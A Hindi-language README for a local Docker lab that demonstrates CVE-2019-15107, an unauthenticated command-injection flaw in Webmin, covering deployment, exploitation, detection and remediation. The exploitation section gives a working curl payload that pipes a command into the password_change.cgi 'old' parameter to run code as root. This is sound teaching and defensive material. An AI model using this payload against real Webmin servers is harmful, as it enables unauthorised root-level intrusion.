
Docker-आधारित लैब जो CVE-2019-15107, Webmin अनधिकृत RCE का प्रदर्शन करती है, जिसमें परिनियोजन, शोषण, पहचान और उपचार शामिल हैं।
यह परियोजना एक नियंत्रित और पृथक Docker वातावरण के भीतर Webmin में एक गंभीर Remote Code Execution (RCE) भेद्यता, CVE-2019-15107 को प्रदर्शित करती है। यह लैब तैनाती और शोषण से लेकर पहचान और उपचार तक पूर्ण भेद्यता जीवनचक्र को कवर करती है।
1.Docker Desktop (स्थापित और चालू)
2.Docker Compose
3.curl.exe समर्थन के साथ Terminal / PowerShell
1.OS (स्थानीय होस्ट वातावरण)
2.पोर्ट उपलब्धता: होस्ट मशीन पर पोर्ट 10000 निःशुल्क होना चाहिए।
1.अनुप्रयोग: Webmin
2.भेद्य संस्करण: 1.910 (प्रभावित संस्करण: 1.880 से 1.920)
3.ठीक किया गया/पैच किया गया संस्करण: 1.930 और उससे ऊपर
4.भेद्यता प्रकार: OS कमांड में उपयोग किए जाने वाले विशेष तत्वों का अनुचित निष्क्रियकरण (CWE-78)
5.CVSS स्कोर: 9.8 (गंभीर)
1.इस परियोजना रिपॉजिटरी को अपनी स्थानीय मशीन पर क्लोन या डाउनलोड करें।
2.अपना टर्मिनल खोलें और docker-compose.yml वाली परियोजना निर्देशिका में नेविगेट करें।
3.सुनिश्चित करें कि आपके सिस्टम पर Docker Desktop सक्रिय है।
भेद्य कंटेनर को detached मोड में pull और शुरू करने के लिए परियोजना रूट निर्देशिका से निम्नलिखित कमांड चलाएँ: docker-compose up -d
आप निम्नलिखित चलाकर कंटेनर की स्थिति सत्यापित कर सकते हैं: docker compose ps
अपने वेब ब्राउज़र में एप्लिकेशन इंटरफ़ेस तक पहुँचें: https://localhost:10000 (स्थानीय SSL प्रमाणपत्र चेतावनी स्वीकार करें)।
चल रहे कंटेनर वातावरण को बंद और हटाने के लिए, चलाएँ: docker-compose down
यह भेद्यता अनधिकृत पासवर्ड परिवर्तन एंडपॉइंट (/password_change.cgi) में मौजूद है, जहाँ इनपुट पैरामीटर उचित सैनिटाइजेशन के बिना सीधे सिस्टम शेल को पास किए जाते हैं।
प्रमाण-के-रूप में एक डायग्नोस्टिक कमांड (id) निष्पादित करने के लिए अपने टर्मिनल (PowerShell/Bash) में निम्नलिखित कमांड चलाएँ:
curl.exe -k https://localhost:10000/password_change.cgi -e "https://localhost:10000" -d "user=root&pam=&old=test|id&new1=test&new2=test"
सफल शोषण: सर्वर इंजेक्ट किए गए पाइप कैरेक्टर (|) को प्रोसेस करता है, जिससे root विशेषाधिकारों के साथ अनधिकृत कमांड निष्पादन ट्रिगर होता है। टर्मिनल कंटेनर शेल फीडबैक (uid=0(root)) के साथ-साथ HTML प्रतिक्रिया साक्ष्य आउटपुट करेगा, जो सफल रिमोट कोड निष्पादन की पुष्टि करता है।
1.संस्करण पहचान: यह सत्यापित करने के लिए चल रहे Webmin इंस्टेंस के संस्करण का निरीक्षण करना कि क्या यह भेद्य सीमा (1.880 से 1.920) में आता है।
2.नेटवर्क / लॉग निगरानी: /password_change.cgi पर निर्देशित आने वाले HTTP POST अनुरोधों के लिए वेब सर्वर एक्सेस या WAF लॉग का निरीक्षण करना जिनमें पैरामीटर मानों के भीतर संदिग्ध शेल नियंत्रण वर्ण (जैसे | या ;) हों।
1.अपग्रेड: Webmin को संस्करण 1.930 या उच्चतर में अपग्रेड करें, जो अंतर्निहित मॉड्यूल को पास किए गए इनपुट को उचित रूप से सैनिटाइज करता है।
2.पहुँच नियंत्रण: अविश्वसनीय नेटवर्क के सीधे संपर्क को रोकने के लिए फ़ायरवॉल या VPN टनल का उपयोग करके पोर्ट 10000 तक नेटवर्क पहुँच को प्रतिबंधित करें।
1.Docker Daemon चालू नहीं है: यदि आपको कनेक्शन त्रुटियाँ आती हैं, तो सुनिश्चित करें कि Docker Desktop पूरी तरह से शुरू हो गया है और docker version का उपयोग करके सत्यापित करें।
2.पोर्ट संघर्ष (10000 पहले से उपयोग में): सुनिश्चित करें कि कोई अन्य स्थानीय एप्लिकेशन या सेवा पोर्ट 10000 पर कब्जा नहीं कर रही है।
3.PowerShell curl सिंटैक्स त्रुटि: PowerShell के अंतर्निहित Invoke-WebRequest उपनाम के साथ पैरामीटर मैपिंग समस्याओं से बचने के लिए Windows PowerShell में मानक curl के बजाय curl.exe का उपयोग करें।